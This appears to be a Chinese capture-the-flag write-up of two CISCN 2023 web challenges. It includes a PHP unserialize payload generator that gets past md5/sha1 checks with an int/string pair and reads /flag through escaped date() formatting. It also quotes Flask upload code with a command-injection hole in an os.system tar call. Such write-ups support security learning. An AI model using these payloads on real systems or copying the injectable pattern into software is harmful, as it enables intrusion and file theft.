Nss-Ciscn2023

[CISCN 2023 华北]ez_date

题目给的代码

<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code']));

这里的话不给使用数组进行绕过经过本地测试

可以使用数字型和字符型进行绕过

剩下的关键点就是这个如何绕过这个date函数了

因为这个正则匹配的话是没过滤字母啥的所以只要不使用奇奇怪怪的东西就不会被正则到

将字母转义后就可以输出正常的字母了

最后的payload

 <?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            //注意date函数可以进行转义 把/f\l\a\g转化为/flag
            $content=date($this->file);
            //uniqid函数用于生成标识
            $uuid=uniqid().'.txt';
            //文件写入操作 把content作为内容写入的uuid中
            file_put_contents($uuid,$content);
            //正则匹配替换 把uuid中的内容进行替换 赋给data
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            //输出data的内容即\flag
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

// unserialize(base64_decode($_GET['code'])); 
$a = new date();
$a -> a = 1;
$a -> b = '1';
$a -> file = "/f\l\a\g";
echo(base64_encode(serialize(($a))))
?>

总结

就是不使用数组使用数字和字符来绕过md5和sha1
就是使用转义可以避免date函数识别错误

[CISCN 2023 华北]pysym

这里给了个附件其中关键的核心代码是

def POST():
    if 'file' not in request.files:
        return 'No file uploaded.'
    file = request.files['file']
    if file.content_length > 10240:
        return 'file too lager'
    path = ''.join(random.choices(string.hexdigits, k=16))
    directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
    os.makedirs(directory, mode=0o755, exist_ok=True)
    savepath=os.path.join(directory, file.filename)
    file.save(savepath)
    try:
     os.system('tar --absolute-names  -xvf {} -C {}'.format(savepath,directory))
    except:
        return 'something wrong in extracting'

    links = []
    for root, dirs, files in os.walk(directory):
        for name in files:
            extractedfile =os.path.join(root, name)
            if os.path.islink(extractedfile):
                os.remove(extractedfile)
                return 'no symlink'
            if  os.path.isdir(path) :
                return 'no directory'
            links.append(extractedfile)
    return render_template('index.html',links=links)